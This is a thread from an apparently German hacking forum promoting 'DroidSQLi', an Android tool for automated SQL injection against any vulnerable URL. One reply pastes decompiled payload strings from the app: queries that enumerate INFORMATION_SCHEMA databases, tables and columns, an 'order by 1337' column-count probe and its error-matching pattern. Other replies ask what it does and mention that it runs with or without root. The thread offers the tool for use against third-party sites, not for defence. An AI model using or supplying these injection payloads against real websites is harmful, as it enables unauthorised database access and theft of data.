5 replies to this topic

[Ch!ller]

[info]

DroidSQLi

Information

• Time based Injection
• Blind Injection
• Error based Injection
• Normal Injection

Hinweis

• All you need to do is find a vulnerable url and put it on Target URL and touch Inject

AV Scan

• Please Login HERE or Register HERE to see this link!

Please Login HERE or Register HERE to see this link!

[Platin]

Sieht nice aus. Braucht das Android Gerät Root Zugriff für dieses Tool?

[Framerater]

@insane

Sie läuft mit und ohne Root

[ProHex]

   const-string v9, "select+concat(group_concat(0x6868,r,0x6a6a,hex(cast(q+as+char)),0x6868+order+by+r+separator+0x6767),0x69)from(select+hex(cast(TABLE_SCHEMA+as+char))r,count(TABLE_NAME)q+from+INFORMATION_SCHEMA.tables+group+by+r{limit})x"
   const-string v9, "select+concat(group_concat(0x6868,hex(cast(n+as+char)),0x6a6a,0x3331,0x6868+order+by+n+separator+0x6767),0x69)from(select+COLUMN_NAME+n+from+information_schema.columns+where+TABLE_SCHEMA=0x"
   const-string v9, "order+by+n{limit}"
   const-string v12, "select+concat(group_concat(0x6868,hex(cast(r+as+char)),0x6a6a,hex(cast(ifnull(q,0x30)+as+char)),0x6868+order+by+r+separator+0x6767),0x69)from(select+TABLE_NAME+r,table_rows+q+from+information_schema.tables+where+TABLE_SCHEMA=0x"
   const-string v12, "order+by+r{limit}"
   const-string v28, "select+concat(group_concat(0x6868,r,0x6a6a,hex(cast(q+as+char)),0x6868+order+by+r+separator+0x6767),0x69)from(select+hex(cast(concat("
 const-string v8, ".*Unknown column '1337' in 'order clause'.*"
 const-string v14, "+order+by+1337--+"

Sich die strings da anzusehen ist echt interessant

Auch gut dass die vollkommen auf google analytics verzichten.

ich werd das noch weiter auseinandernehmen, nur empfehle ich derzeit keinem das mit rootrechten auszuführen:

.method public setParent(Ljava/lang/Object;Landroid/view/View;I)V
    .locals 0
    .parameter "info"
    .parameter "root"
    .parameter "virtualDescendantId"

warum da IDs zugewiesen werden versteh ich noch nicht.

[Apfelschorle]

Was kann man mit droidsqli alles machen?

[Xenoby]

Was kann man mit droidsqli alles machen?

SQL injections.
Wenn dir das nix sagt, hier auf Toolbase gibts auch ein Tutorial dazu.
Einfach nach 'SQLi Tutorial' suchen.